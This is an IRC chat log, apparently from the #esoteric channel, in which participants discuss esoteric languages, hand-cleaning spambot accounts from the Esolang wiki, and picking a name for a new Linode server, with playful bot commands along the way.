13:22:24 <kallisti> you can do all the stereotypical American things you could imagine
13:23:42 <kallisti> buy hot dawgs, huge 1.5 litre soft drinks, potato chips, coffee, energy drinks, and beer... all while filling your SUV with gas.
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15:01:16 <elliott> http://www.xanxys.net/hs2bf/
15:01:32 <elliott> if you click one link today...
15:05:43 <Gregor> It ... it actually works, doesn't it.
15:06:06 <Gregor> It's kinda hard to tell because details are sparse, but everything suggests it's describing a working system.
15:08:50 <elliott> I'm not convinced it has algebraic data type declarations, but it has lists and bytes, so you don't technically need 'em :P
15:09:04 <elliott> (I think it might be dynamically typed, so you could nest them.)
15:09:07 <elliott> Either way, it's... pretty impressive.
15:09:39 <elliott> here's the worst part: it's been out since 2010, and nobody noticed
15:13:33 <lifthras1ir> hey, Japaneses are known for making awesome things out of nothing, but only available in Japanese. :S
15:14:21 <elliott> lifthras1ir: That's why God invented Google Translate: so we could understand what they say even less.
15:14:56 <lifthras1ir> elliott: ..with a latency of approx. 2 years.
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16:33:34 <elliott> ais523: do you have any way of getting a list of potential spambots without the DB dump of users?
16:33:41 <elliott> it would be nice to get a list of users to delete before the DB itself
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16:43:27 <ais523> elliott: I can't think of one
16:44:00 <elliott> @tell Taneb Do you feel like sifting through 2,000 names and telling us which ones are spambots?! It'll really help!
16:44:09 <elliott> ais523: there, I just halved the workload
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17:16:18 <lambdabot> Taneb: You have 1 new message. '/msg lambdabot @messages' to read it.
17:17:40 <Taneb> I'm using Solaris, for some crazy reason.
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17:21:48 <Taneb_> Not tonight, got a party
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17:22:37 <Taneb> Also a bad connection
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17:24:20 <elliott> http://esolangs.org/w/index.php?title=Special:Listusers&limit=500&offset=0
17:24:46 <elliott> There are 4.5 pages of that for you to go through.
17:24:53 <Taneb> What would I do with them?
17:25:03 <Taneb> My friend Chad says hello
17:25:15 <Gregor> I'm fairly certain that "205 buy insect repellant patch" is a legit user.
17:25:18 <elliott> List the ones that have red links, and look like spambots.
17:25:27 <elliott> Be liberal, i.e. list ones that you think might not be spambots.
17:25:35 <elliott> Anything with numbers in the name is suspect.
17:26:11 <Gregor> Throw that one out immediatemento.
17:27:26 <elliott> Gregor: Careful or you'll be assigned to the other half.
17:30:53 <cheater> what is the functional language similar to PD or Max/MSP?
17:30:58 <Gregor> Feeling inadequate in bed? The ladies not appreciating your ... #esoteric special offer for #esoteric! For just $29.99, V|/\|>UCT
17:31:02 <cheater> there was a video demo of it a while back.
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17:33:34 <cheater> you mean this? http://impromptu.moso.com.au/tutorials/time.html
17:33:46 <cheater> i don't mean this. the programming interface was purely visual
17:35:59 <cheater> http://yaxu.org/some-videos/
17:43:20 <quintopia> youd think a graphical coding environment would be /less/ opaque to the average observer
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18:05:38 <cheater> no it's even more opaque because his graphics engine is real weird.
18:20:23 <kallisti> sometimes I forget that normal people put commas in their numbers to distinguish place values.
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18:44:14 <fizzie> We put commas in our numbers as the decimal mark, and sometimes periods as group separators.
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19:03:59 <itidus20> so i correctly calculated the essentially different positions and paths for the first 3 moves of tictactoe on paper and i am quite happy that some website backs up my numbers.
19:08:10 <itidus20> i think i am slowly becoming a geek
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19:14:59 <kallisti> fizzie: that's really weird to me.
19:15:04 <kallisti> but it appears to be a common convention.
19:15:07 <kallisti> Spanish does that, for example.
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20:24:45 <fizzie> All of non-English-speaking Europe, pretty much.
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21:41:35 <Aardwolf> Hello, the wiki at esoteric.voxelperfect.net rocks, but, I looked under recent changes to see what was new, and saw nothing but SPAM and thousands of SPAMBOT accounts. Shouldn't the wiki be invite only (just require easy approval from a member that's all)?
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21:55:58 <itidus20> Aardwolf: they're changing servers..
21:56:09 <itidus20> its a fairly active topic here lately
21:56:59 <itidus20> basically.. they are as aware of the bots as a person can be aware of anything
21:57:35 <itidus20> not only that they're working on a custom captcha system to try to outsmart spam
21:57:36 <ais523> Aardwolf: invite only would be over the top
21:57:47 <ais523> there are plenty of easy ways to stop the spambot, but Graue is unwilling to implement any of tehm
21:58:04 <ais523> but I'm cleaning the spam out by hand, all of it, and elliott's working on migrating the wiki to a new server where we can have all the antispam we want
21:58:27 <ais523> did you use the recent changes link on the main page? it has most of the spam edited out (by me, so you'll still see recent spam)
22:06:52 <kallisti> @tell elliott as an expert googler you may find these googling challenges of interest: http://lifehacker.com/5885382/challenge-whats-this-musical-instrument-called
22:07:45 <kallisti> @tell elliott oh but don't scroll down to the comments; they spoil it.
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05:21:18 <zzo38> Are you on, today?
05:33:09 <quintopia> zzo38: notch is going to fund psychonauts 2. does this sound good to you?
05:33:50 <zzo38> I don't care much about that either.
05:36:39 <quintopia> i think you would be happier with life if you played psychonauts. even if you are already happy.
05:39:16 <pikhq> Psychonauts is happiness-inducing.
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07:07:19 <Sgeo> Someone is asking me to do their homework for them.
07:07:30 <Sgeo> This is some random IRCer in the #squeak channel
07:09:52 <zzo38> How much money do you want to charge them for that?
07:11:50 <Sgeo> I don't feel comfortable with the notion at all, really.
07:11:59 <Sgeo> If it were enough money, I ... might violate my principles.
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07:14:52 <H3LLB0Y> just say, the quality of the work is related to the quantity of the pay
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09:01:46 <oerjan> <quintopia> zzo38: notch is going to fund psychonauts 2. does this sound good to you?
09:02:18 <oerjan> my unqualified guess is that it will be all good as long as he stays out of the actual coding.
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10:50:03 <Ngevd> I am likely the only person ever to fall asleep at a UV rave and dream of lambda calculus
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10:52:07 <oerjan> wait, in that context?
10:52:18 <Ngevd> Yeah, they have a big UV light
10:52:32 <Ngevd> Makes everyone's shirts look purple
10:53:42 * oerjan thought ultraviolet was invisible, unless it caused fluorescence
10:54:05 <Ngevd> A lot of shirts have flourine in them
10:54:41 <ais523> oerjan: the sort of UV lights used at raves have significant visible violet components too
10:54:56 <ais523> but right, you can see the UV because of the fluorescence
10:58:14 <fizzie> "Such fluorescence from certain textile fibers, especially those bearing optical brightener residues, can also be used for recreational effect, as seen, for example, in the opening credits of the James Bond film A View to a Kill."
10:58:26 <fizzie> Quite a lot of things are shiny under "black light".
10:58:42 <fizzie> (And of course they make specifically fluorescent paints.)
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11:41:58 <ais523> !tell ehird some spambot usernames do follow a consistent pattern: one spambot alternates consonant-vowel-consonant-vowel, and is always 12 letters, with the 1st and 7th capitalised; another is always 4 letters, 2 digits, 2 letters, 3 digits, one letter; neither pattern is likely to happen for a legitimate user
11:42:02 <ais523> @tell ehird some spambot usernames do follow a consistent pattern: one spambot alternates consonant-vowel-consonant-vowel, and is always 12 letters, with the 1st and 7th capitalised; another is always 4 letters, 2 digits, 2 letters, 3 digits, one letter; neither pattern is likely to happen for a legitimate user
11:42:22 <oerjan> he doesn't use that nick on irc
11:43:03 <ais523> err, right, he doesn't
11:43:09 <ais523> @tell elliott some spambot usernames do follow a consistent pattern: one spambot alternates consonant-vowel-consonant-vowel, and is always 12 letters, with the 1st and 7th capitalised; another is always 4 letters, 2 digits, 2 letters, 3 digits, one letter; neither pattern is likely to happen for a legitimate user
11:43:30 <oerjan> not on freenode anyhow
11:44:27 <ais523> the other spambot pattern appears to be name+name+number, but the name dictionary is too large to match against
11:44:41 <Deewiant> ais523: The former seems normal enough, that's just two camelcased words like PiñataPirate or NovicePolice or whatever
11:45:07 <ais523> Deewiant: right, but when camelcasing two words, they tend not to alternate consonants and vowels
11:45:18 <ais523> that one's potentially going to have false positives, but with Esolang's user count, it's unlikely
11:45:26 <ais523> are those users on Esolang?
11:45:45 <Deewiant> Not to my knowledge, but I'm just saying that it doesn't seem unreasonable :-P
11:45:50 <ais523> also, the first wouldn't be generated by the spambot as it only uses English letters
11:46:10 <Deewiant> That's just me being anal, most people would probably spell it with n instead of ñ
11:47:40 <Deewiant> 2.0% of my /usr/share/dict/british alternates consonants and vowels
11:48:09 <ais523> so as it would require two words, 0.04%
11:48:19 <ais523> and on top of that, they both have to be six letters long
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15:12:25 <fizzie> Deewiant: Of all the words in the Internet (okay, not quite all; all in a sample of one trillion) matching /[a-z]{6}/, 8.5% match /([^aeiouy][aeiouy]){3}/.
15:14:06 <fizzie> That's not relevant if it alternates "consonant-vowel", but further 11.5%, in fact.
15:15:33 <fizzie> Whoops, I'm miscounting a bit thanks to not-splitting. Just a moment.
15:15:40 <fizzie> Was wondering about those numbers being so high.
15:16:17 <Deewiant> It wasn't clear whether it had to begin with a consonant or not.
15:18:10 <fizzie> 8.5% starting with a consonant as before, but just 2.5% starting with a vowel; 11% in total. (The wrong wovel-count was because in /([aeiouy][^aeiouy]){3}/ the ^-part matched the \t after the word.)
15:19:06 <fizzie> Didn't bother anchoring the match because "oh I already match [a-z]{6}, there's just one way (..){3} can fit".
15:19:29 <Deewiant> What proportion of the whole are the six-letters?
15:20:05 <fizzie> Uh, 2.4%... but these aren't exactly "words".
15:21:18 <Ngevd> That... probably isn't good
15:23:15 <fizzie> For example, the longest "word" in there is "usr/lib/gcc/ia64-linux-gnu/4.0.2/include".
15:23:22 <fizzie> (That's actually sorta-amusing.)
15:24:09 <Deewiant> What is this corpus, the output of 'find' somewhere? :-P
15:24:26 <fizzie> It's Google's "1T" ngram corpus.
15:24:36 <fizzie> http://www.ldc.upenn.edu/Catalog/CatalogEntry.jsp?catalogId=LDC2006T13
15:25:09 <fizzie> Also they've just cut everything to at most 40 characters, that was just the first -- actually, the most common, I'm using the sorted unigram file -- long enough one.
15:25:17 <fizzie> Another example is "pornopornopornopornopornopornopornoporno".
15:25:56 <fizzie> Some others are "javax.xml.transform.TransformerException" and "searchgooglerssbusinessmicrosoftinternet" and "http://eprints.ictp.it/28/01/0004170.pdf" and "wp-includes/template-functions-links.php".
15:27:25 <fizzie> Entire list: http://sprunge.us/BPLB
15:27:39 <fizzie> (Numbers are the counts.)
15:28:00 <fizzie> (222 instances of "AMERICANWHISTLEBLOWERSEEKSASYLUMINCANADA".)
15:29:52 <fizzie> Anyway, usr/lib/gcc/ia64-linux-gnu/4.0.2/include is there over 200k times; and the 4.0.3 version over 40k. Those are the two most popular ones.
15:30:00 <fizzie> (It's a bit of a messy dataset.)
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16:01:29 <Ngevd> A language designed for the implementation of esolangs
16:05:22 <ais523> Ngevd: Cyclexa? admittedly, I never finished, nor even really started, that
16:06:22 <Ngevd> There'd need to be deques, I suspect
16:06:58 <ais523> why something that specific?
16:07:31 <Ngevd> It can be a stack, a queue, and (with some imagination) a list
16:08:46 <Ngevd> Parsing tools would be very handy
16:09:43 <ais523> Ngevd: I was thinking that a list-rewriter would be even more general, and can trivially implement a deque
16:10:06 <ais523> and a tree rewriter is more general than a list rewriter, and can also trivially implement a deque
16:11:27 <Ngevd> A graph rewriter? Or is that too far?
16:21:49 <itidus20> you guys have a fun definition of language
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16:25:10 <Ngevd> itidus20, of course! This is #esoteric!
16:25:41 <itidus20> i just had an amusing thought, possibly relevant
16:26:44 <itidus20> it could be language specific, or language global..
16:26:56 <itidus20> but for example.. the first instance of "counter" in a source code
16:28:08 <itidus20> it would basically be based on a large set of source code with date information
16:29:45 <itidus20> then you could find out such fascinating trivia as.. in 1973 the identifier froompaloompa was first used (in our sample)
16:32:29 * ais523 wonders if NetHack invented the identifier monkey_business
16:32:38 <ais523> it seems likely, it's an old codebase and it can't be a commonly-used identifier
16:34:29 <itidus20> etymology is probably not the best term since people no doubt develop identifers independantly
16:34:41 <itidus20> but im sure there is patterns and memes among them
16:36:01 <Phantom_Hoover> "Floating halfway between the surface and the ocean floor, anchored by steel cables in water 500 feet deep, the Mark VI would be positioned on the periphery of the gulf stream so as to sap energy from the currents via it's pivoting turbine,"
16:36:01 <lambdabot> Phantom_Hoover: You have 1 new message. '/msg lambdabot @messages' to read it.
16:39:22 <Ngevd> What would also be cool is parsing using context-free grammars
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16:48:39 <itidus20> julian assange and eric schmidt maybe agrees on "If you have something that you dont want anyone to know, maybe you shouldnt be doing it in the first place"
16:49:06 <itidus20> however, one is multi billionaire, another is in endless court cases
16:52:14 <Sgeo> Well, this is somewhat ugly, but I guess it works
16:52:22 <Sgeo> {1. 2.} gather:[:oneortwo |
16:52:22 <Sgeo> {1. 3.} gather:[:oneorthree |
16:52:22 <Sgeo> {oneortwo + oneorthree.}]]
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17:09:22 <Ngevd> ais523, how far did you get with Cyclexa?
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17:09:40 <ais523> Ngevd: as far as writing the parser, and it didn't even work
17:10:14 <Ngevd> ...Can I use the name?
17:12:00 <Ngevd> Parser as in parser for the language?
17:12:01 <ais523> why would you use the name?
17:12:15 <Ngevd> Because I suck at making up names
17:12:20 <ais523> a cyclexa parser, that converts cyclexa source into a cyclexa parse tree
17:12:26 <ais523> and as I said, it didn't work
17:12:32 <Ngevd> So, the spec exists?
17:12:37 <Sgeo> http://pastie.org/3395650
17:15:13 <ais523> <cyclexa.html> <link rev="made" href="mailto:root@localhost" />
17:15:29 <ais523> looks like I have an unfinished spec, here
17:15:38 <ais523> and I can't believe I'd have typed that line, so this must be autogenerated from something
17:16:11 <ais523> ooh, it's generated from docstrings in an impl
17:17:18 <ais523> Ngevd: http://sprunge.us/LKKD
17:17:29 <ais523> no idea how well the impl itself works, but it has a spec in embedded POD comments
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17:17:37 <ais523> (which you can read using, say, perldoc)
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17:27:39 <kallisti> In 2004, the United States Department of State announced that as of 1 February 2004, all US diplomatic documents would use 14-point Times New Roman instead of the previous 12-point Courier New.
17:28:37 <ion> They should use Comic Sans.
17:28:40 <ais523> and times new roman is reasonably readily available for all sorts of platforms
17:28:50 <ion> They should use Papyrus.
17:29:00 <kallisti> but Courier New looks so good...
17:29:06 <kallisti> especially as a diplomatic document
17:29:23 <kallisti> when you see that monospace you know serious shit is going down.
17:29:31 <Ngevd> AND NOW, I WILL WALK MY DOG
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17:41:38 <kallisti> does anyone know where to find the Garamond font for use with Ubuntu?
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18:22:05 <elliott> Everyone from Europe say "A".
18:22:09 <elliott> Everyone from the Americas say "B".
18:22:22 <elliott> Also, only if you use the Esolang wiki.
18:23:16 <elliott> Actually let me make this more precise: Esolang users: of london1.linode.com and newark1.linode.com, which has the smaller ping?
18:24:11 <ion> London: 48 ms. Newark: 125 ms.
18:24:51 <shachaf> Have you considered that one?
18:24:56 <elliott> No, fremont has >160 ms ping from here.
18:25:26 <elliott> shachaf: What ping do you get from london and newark?
18:38:40 <Gregor> What the boink are you rambling about anyway.
18:38:57 <elliott> <elliott> Actually let me make this more precise: Esolang users: of london1.linode.com and newark1.linode.com, which has the smaller ping?
18:39:38 <Gregor> I understood that, but it doesn't really answer my question OHHH you're considering switching to linode.
18:40:00 <Gregor> Newark has far lower for me, but that's no great surprise.
18:40:11 <Gregor> (30 Newark vs 110 London)
18:40:27 <elliott> Gregor: I already went with London, btw :P
18:40:35 <elliott> What's your ping to esolangs.org, out of curiosity?
18:41:48 <elliott> Gregor: Oh well, guess it's gonna get slower for you!
18:41:54 <elliott> What's your ping to pyralspite.net?
18:42:03 <Gregor> There are considerations other than ping.
18:42:22 <elliott> But not any slower than it would get anyway, then!
18:42:28 <elliott> That's why I switched to Linode (CPU + disk speed).
18:47:26 <fizzie> London 56, Newark 138.
18:48:11 <elliott> fizzie: What's a good name?
18:48:17 -!- monqy has joined.
18:48:45 <shachaf> elliott: "eliot" is a pretty good name.
18:48:48 <shachaf> In fact it's one of the best.
18:49:13 <fizzie> I don't know about naming, really.
18:49:48 <Sgeo> So, Monticello doesn't check to see if imported packages conflict with eachother when it comes to extension methods.
18:49:50 <Sgeo> I am not amused.
18:49:59 <monqy> I don't know what you're talking about, but eliot is good
18:50:10 <elliott> monqy: I need to "name" a "Linode".
18:50:11 <fizzie> My ping to pyralspite.net is 4.3 ms on average, if I ping from my prgmr host. :p
18:50:19 <elliott> Also what time is it in America?
18:50:38 <Sgeo> The lack of namespacing would tick me off just a little bit less if there was at least conflict detection.
18:50:51 <Sgeo> I could perhaps live without conflict prevention if there were at least detection.
18:51:05 <Sgeo> Maybe I should add it myself.
18:51:13 <shachaf> I didn't know it meant something!
18:51:18 <fizzie> There's a place called Å in Norway.
18:51:20 <Sgeo> That's the sort of thing Smalltalk allows for, right?
18:51:38 <shachaf> elliott: Why didn't us Asians get a letter?
18:51:39 <Sgeo> If the IDE ticks me off, fix the IDE, sort of thing?
18:51:46 <fizzie> We'll probably be stopping at Å on a trip soonishly.
18:52:25 <fizzie> One does kind-of wonder if they watch StargÅte at Å.
18:52:59 <elliott> HELP. I AM COMPLETELY UNABLE TO NAME THINGS.
18:53:06 <shachaf> elliott: Naming things is easy.
18:53:37 <fizzie> Then it needs to run @ if it's called @.
18:54:00 <shachaf> I'm talking about @, not @
18:54:13 * elliott considers calling it zenith for about 0.1 seconds before he hears Phantom_Hoover's smarmy voice in his head.
18:54:19 <fizzie> That's going to look real silly when the context-insensitive @-renaming is done to channel logs.
18:54:39 <shachaf> elliott: I think "eliot" is a pretty good name.
18:54:58 <ion> > group "elliott"
18:55:00 <shachaf> elliott: How about "clyde"?
18:55:18 <shachaf> > map head . group $ "elliott"
18:55:22 <shachaf> > map head . group . sort $ "elliott"
18:55:38 -!- cheater has joined.
18:56:34 <ion> > permutations "elliott" !! 120
18:58:11 <elliott> You're all guilty of treason.
18:58:21 <shachaf> > permutations "elliott" !! 190
18:58:23 <ion> > (permutations <=< subsequences) "elliott" !! 87
18:58:51 <shachaf> > (const "the devil") "elliott"
18:59:03 <ion> > (permutations <=< subsequences) "elliott" !! 4370
18:59:55 <Gregor> Elliott "little toillet" Hird
19:00:12 <ion> > (permutations <=< subsequences) "elliott" !! 6404
19:00:41 <elliott> > "idiot" `elem` ((permutations <=< subsequences) ("ion" ++ "diot"))
19:00:54 * ion laughed out loud
19:00:54 <Gregor> Whatever you say, onion.
19:00:59 <elliott> > "idiot" `elem` ((permutations <=< subsequences) ("ion" ++ "dit"))
19:01:31 <Gregor> > "idiot" `elem` ((permutations <=< subsequences) ("ion" ++ "abcdefghijklmnopqrstuvwxyz"))
19:01:39 <kallisti> > "Roger" `elem` (permutations <=< subsequences) "Gregor"
19:02:02 <kallisti> > "rogerG" `elem` (permutations <=< subsequences) "Gregor"
19:02:50 <Gregor> > "tits" `elem` (permutations <=< subsequences) "kallisti"
19:03:15 <Gregor> Oh feh, not enough t's.
19:03:48 <Gregor> > "kill" `elem` (permutations <=< subsequences) "kallisti"
19:04:13 <shachaf> > "stalk" `elem` (permutations <=< subsequences) "kallisti"
19:04:20 <shachaf> > "slit" `elem` (permutations <=< subsequences) "kallisti"
19:05:52 <shachaf> > "ogre" `elem` (permutations <=< subsequences) "Gregor"
19:05:56 <Gregor> > "slktls" `elem` (permutations <=< subsequences) "kallisti"
19:05:59 <ion> > permutations "esoteric" !! 15249
19:06:09 <Gregor> > "slktl" `elem` (permutations <=< subsequences) "kallisti"
19:06:11 <kallisti> > "Gorger" `elem` (permutations <=< subsequences) "Gregor"
19:06:59 <elliott> If none of you come up with the best name I'll just go with zenith or something.
19:07:08 <Gregor> > "This is stupid" `elem` permutations "This is stuipd"
19:07:27 <elliott> Meanwhile they gave me A MONTH AND A HALF for $9????
19:07:47 <Gregor> elliott: How 'bout ... esowiki. Y'know. Descriptive.
19:07:55 <elliott> Gregor: I'm going to use it for other things too.
19:08:08 <elliott> I wouldn't pay $20/mo to host esolangs.org.
19:08:10 <shachaf> elliott: I didn't get a month and a half. :-(
19:08:20 <elliott> shachaf: Order after the middle of the month, then.
19:08:32 <shachaf> I ordered after the middle of the month.
19:08:37 <elliott> Is it just me or is the wiki down?
19:08:44 <shachaf> I'm pretty sure they just charged me extra to compensate or something.
19:08:51 <Gregor> elliott: It's just you.
19:09:26 <elliott> I'm paranoid that, like, Timwi has been working behind our backs this whole time or something.
19:09:30 <elliott> It's not just you! esoteric.voxelperfect.net looks down from here.
19:09:42 <Gregor> Oh, I'm going to esolangs.org
19:09:54 <elliott> Oh, it works from esolangs.org.
19:10:02 <Gregor> But esoteric.voxelperfect.net works fine for me too.
19:10:07 <shachaf> esolangs.org is the place to go.
19:10:22 <elliott> http://esoteric.voxelperfect.net/ works.
19:10:34 <elliott> Must have been a momentary tube leak.
19:12:13 <kallisti> I wonder to what extent human opinions are just based on partial orderings..
19:13:23 <kallisti> that's beyond my percentage threshold of 100%
19:14:34 <elliott> OK, seriously, VPS names, man.
19:14:56 <Gregor> I don't necessarily remember how that program works ...
19:14:59 <HackEgo> Option en is ambiguous (eng-1m, eng-all, eng-fiction, eng-gb, eng-us)
19:15:24 <HackEgo> hoff satinfti pevellowe roy rahelio durche lubim casiva porevi medange hemb kar lept iar nut poln zer tervile zeitutatesla acque immell uma sexyliccipie myxo versainvoq
19:15:43 <Gregor> casiva, medange, tervile, sexyliccipie, myxo
19:15:51 <Gregor> I particularly like "medange"
19:15:52 <shachaf> elliott: You should use "eliot".
19:17:02 <Gregor> (Pronounced "sexy licky pie")
19:17:19 <HackEgo> hambschcls roudgerlessoilly acion malls sa sion pui habas copattinght kurruchorpsediani stivenseri poildeneechogiumfs wibly chwendemayleraii castrikatindo mast res pread araae keifcher pric ades obrace pet meadzy dinactes nantentumoyahnonquifecoa arickerifingbatorfineuentatichecois agne sa fa sadi cd hatm warnwhivemes lectibs colicieraiket cheamanchemeimaurremanneenreiit basha our moweneus pris dompeci backehownepte
19:17:34 <Gregor> cheamanchemeimaurremanneenreiit
19:18:05 <elliott> What time is it in America?
19:18:06 <ion> taumatawhakatangihangakoauauotamateapokaiwhenuakitanatahu
19:18:22 <shachaf> 10:50 < monqy> which america
19:18:30 <shachaf> In this America it's 11:18:28.
19:18:33 <elliott> Whichever one Graue is in./
19:18:46 <Gregor> Graue is in the America on Saturn.
19:18:47 <shachaf> That's the time on the best coast.
19:18:49 <Gregor> So it's hard to convert.
19:18:53 <shachaf> Gregor provided the time on the least coast.
19:19:13 <Gregor> shachaf: I am in total agreement on your partial ordering of coasts.
19:20:21 <shachaf> Gregor: Excuse me. I believe I provided a lattice.
19:20:58 <Gregor> shachaf: You only provided top and bottom, so really you provided neither, unless I am to conclude that you refer only to American coasts and hence you have specified all elements in the set.
19:21:24 <ion> I believe you only provided a lettuce.
19:21:31 <elliott> Gregor: Linode is pretty awesome, btw.
19:21:44 <kallisti> these coasts seem poorly defined.
19:22:18 <shachaf> In the best and in the least.
19:22:51 <fizzie> FFTW inexplicably comes from the east coast, IIRC.
19:23:03 <shachaf> The east coast is in the west.
19:23:04 -!- Gregor has changed nick to Friendship.
19:23:14 <shachaf> America is all in the west.
19:23:35 <kallisti> and then east is the best way to go
19:24:12 <fizzie> Unless you're in Japan, in which case America is big. (All is big in Japan.)
19:25:31 -!- oerjan has joined.
19:26:54 <Friendship> elliott: Come on, what was wrong with medange?
19:27:14 <Friendship> If I wasn't so busy embodying simple human compassion I would /nick medange RIGHT NOW
19:27:30 <shachaf> elliott: Make it some untypeable Unicode thing.
19:28:05 <fizzie> Melange's appropriate if you run lotsa things there.
19:29:14 <Friendship> sexyliccipie is appropriate no matter WHAT you run there!
19:29:49 <HackEgo> herte iore wimmyoe chley maje denmi bookii togeneth grachoug bie sperine etrimsta docutin coit deli warkman ravitl okmarlll uision pitter acco lof luoria matti callipio
19:30:08 <elliott> oerjan: You saw that in the logs, right?
19:30:33 <Friendship> elliott: "sexyliccipie" <-- I just copied this right off HackEgo's line.
19:30:59 <kallisti> `words --eng-all --eng-us --eng-gb --eng-fiction --finnish --norwegian --swedish --spanish --french
19:31:02 <kallisti> `words --eng-all --eng-us --eng-gb --eng-fiction --finnish --norwegian --swedish --spanish --french 50
19:31:23 <HackEgo> mächs eiieweddyna ipsbått oför hjjo tappenne majoute soupho bilda liin ländlig omfil møble flaron hclback uisbau maunikolage mawoklas bible ldingendrite kkp elek fabu velle reminizestistam
19:31:36 <oerjan> the kray superkompüter
19:32:13 <fizzie> oerjan: Have you been in Å?
19:32:23 <kallisti> the omfil kray møble superkompüter
19:32:58 <Friendship> Currently located in Ldingendrite, Flaron
19:33:07 <fizzie> oerjan: We thought we'd stop by. Well, if "by" is the right word, it seems to be a rather end-of-the-line place.
19:33:18 <HackEgo> Usage: words [-dhNo] [DATASETS...] [NUMBER_OF_WORDS] \ \ options: \ -l, --list list valid datasets \ -d, --debug debugging output \ -N, --dont-normalize don't normalize frequencies when combining \ multiple Markov models; this has the effect \ of making larger datasets more influential \ -o, --target-offset change the target length
19:33:24 <elliott> Wait, Å is an actual place?
19:33:30 <HackEgo> valid datasets: --eng-1M --eng-all --eng-fiction --eng-gb --eng-us --french --german --hebrew --russian --spanish --irish --german-medical --bulgarian --catalan --swedish --brazilian --canadian-english-insane --manx --italian --ogerman --portuguese --polish --gaelic --finnish --norwegian --esolangs \ default: --eng-1M
19:33:36 <elliott> http://upload.wikimedia.org/wikipedia/commons/2/2f/A_view_2009.JPG
19:33:53 <kallisti> `words --eng-all --eng-us --eng-gb --eng-fiction --finnish --norwegian --swedish --spanish --french --polish --irish --german-medical --german --italian --eng-1M 50
19:34:10 <HackEgo> prestadiaa soideaload gerrsnipora anx gibthat fibricleet schono sogachaiz macsidalletste widoikoku hønskoemera var zúnnal amcicerrify kobaradi czakropcn eplyyoeplor twardinglykel sektrai hofyuehusageti uanalte desierwritę nvoichlässteratlanon fiscalac cdingue
19:34:11 <fizzie> elliott: There's a place called Ii in Finland.
19:34:47 <elliott> Come on, you still haven't presented anything better than zenith.
19:34:51 <elliott> I CAN'T BOOT THE SERVER WITHOUT NAMING IT
19:35:15 <monqy> For generations of Americans, the famous Zenith name has been synonymous with quality and innovation over the past nine decades.
19:35:19 <fizzie> (Ii's right south of Yli-Ii, lit. "Over-Ii".)
19:35:29 <oerjan> there's also Y in france
19:35:33 <kallisti> basically anything `words generates is an excellent server name.
19:35:38 -!- H3LLB0Y has joined.
19:36:01 <elliott> There's that http://en.wikipedia.org/wiki/Zenith_Electronics thing.
19:36:20 <elliott> `run shuf -n 1 /usr/share/dict/words
19:36:20 <elliott> `run shuf -n 1 /usr/share/dict/words
19:36:21 <elliott> `run shuf -n 1 /usr/share/dict/words
19:36:21 <elliott> `run shuf -n 1 /usr/share/dict/words
19:36:22 <elliott> `run shuf -n 1 /usr/share/dict/words
19:36:30 <HackEgo> shuf: /usr/share/dict/words: No such file or directory
19:37:02 <HackEgo> WordData \ awesome \ construct_grams.pl \ esolangs.txt \ esolangs.txt.sorted \ units.dat
19:37:02 <kallisti> Friendship: fix hackego being slow
19:37:09 <fizzie> oerjan: Actually going by http://en.wikipedia.org/wiki/List_of_short_place_names there's like seven Ås in Norway.
19:37:44 <HackEgo> Failed to clone the environment!
19:37:44 <HackEgo> Failed to clone the environment!
19:37:44 <oerjan> fizzie: possibly. i am assuming you are referring to the one in western lofoten
19:37:58 <HackEgo> Failed to clone the environment!
19:37:58 <HackEgo> Failed to clone the environment!
19:37:58 <HackEgo> Failed to clone the environment!
19:38:14 <fizzie> oerjan: Yes, the one there near the tip.
19:38:18 <monqy> http://upload.wikimedia.org/wikipedia/en/b/bc/Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch-railway-station-sign-2011-09-21-GR2_1837a.JPG
19:39:04 <fizzie> (Heh heh "seven Ås in Nååååååårway" heh heh.)
19:39:16 <Friendship> Filesystem Size Used Avail Use% Mounted on
19:40:02 <Friendship> Uh, that's not just esostuff. Or even mostly esostuff.
19:40:21 <kallisti> ah. well then, delete all the porn and everything should be fine.
19:41:47 <oerjan> delete all the pony porn, right
19:42:44 <oerjan> ok, that should get it down to 19 G
19:42:47 <itidus20> esostuff has a habit of not taking up much diskspace i think
19:43:27 <oerjan> itidus20: except for unary
19:43:36 <ion> Someone needs to make a programming language in which source code consists of full Nicholas Cage movies concatenated.
19:43:38 <oerjan> hm i guess unary might compress well
19:43:41 <HackEgo> mim naste condike liza pered bejm uffsonvict fabren fuo drifc apprepara behm conftered afsubsti ashan halite distad hydro slxt ogy dire ibv luuge micksfora vib
19:43:53 <itidus20> ah well kallisti's project is an exception
19:43:55 <elliott> oerjan: Ban everyone who says anything that isn't a hostname suggestion.
19:44:11 <elliott> ion: It's how babies are made.
19:44:18 <oerjan> elliott: surely no one has done such a thing
19:44:20 <elliott> You just feed Nicholas Cage films into a machine.
19:44:34 <Friendship> My hostname suggestion is: I think I'll just prefix all lines like this, so it's clear that literally everything I say is a suggestion for a hostname.
19:44:41 <Friendship> My hostname suggestion is: That way you can't complain.
19:44:52 <elliott> Also they have to be syntactically avlid.
19:45:51 <oerjan> (avliden is swedish for "passed away")
19:47:00 <itidus20> i already thought of ehird but i had the foresight to not say so
19:47:08 <elliott> kallisti: You don't name your server after yourself!
19:48:14 <oerjan> elliott: it's the esoteric source of everything
19:48:15 * shachaf wonders what "matrixofsolidity" is.
19:48:36 <Friendship> shachaf: By not knowing, you are acknowledging that you are locked in your matrix of solidity. Hopefully you enjoy it there.
19:48:41 <elliott> oerjan: I suspect you of punning.
19:48:47 <HackEgo> 296) <treederwright> enjoy being locked in your matrix of solidity
19:49:09 <oerjan> elliott: http://en.wikipedia.org/wiki/Apeiron_(cosmology)
19:49:15 <elliott> "solidity" is vaguely tempting >_>
19:49:23 <oerjan> (that's a "yes, of course")
19:49:36 -!- Chef_ has joined.
19:49:51 <itidus20> matrix of solidity is a perjorative... so i don't much like reading it
19:49:56 <kallisti> it's the esoteric source of everything.
19:50:04 <Friendship> I actually, legitimately think that matrixofsolidity is a good name.
19:50:20 <shachaf> Friendship: It's too long.
19:50:33 <elliott> Friendship: It would be "solidity" if anything.
19:50:34 <HackEgo> 296) <treederwright> enjoy being locked in your matrix of solidity
19:50:38 <HackEgo> 7) <oerjan> what, you mean that wasn't your real name? <Warrigal> Gosh, I guess it is. I never realized that. \ 86) <virtuhird> Sgeo_: Gregorr: and someone could, by mistake, rewrite psox to be a weak erection if it is... A filename. \ 228) <zzo38> Invent the game called "Sandwich - The Card Game" and "Professional Octopus of the World" (these names are just generated by randomly) \ 231) <Sgeo> Is there a name for
19:51:01 <oerjan> elliott: it's literally the source of everything in some ancient greek cosmology
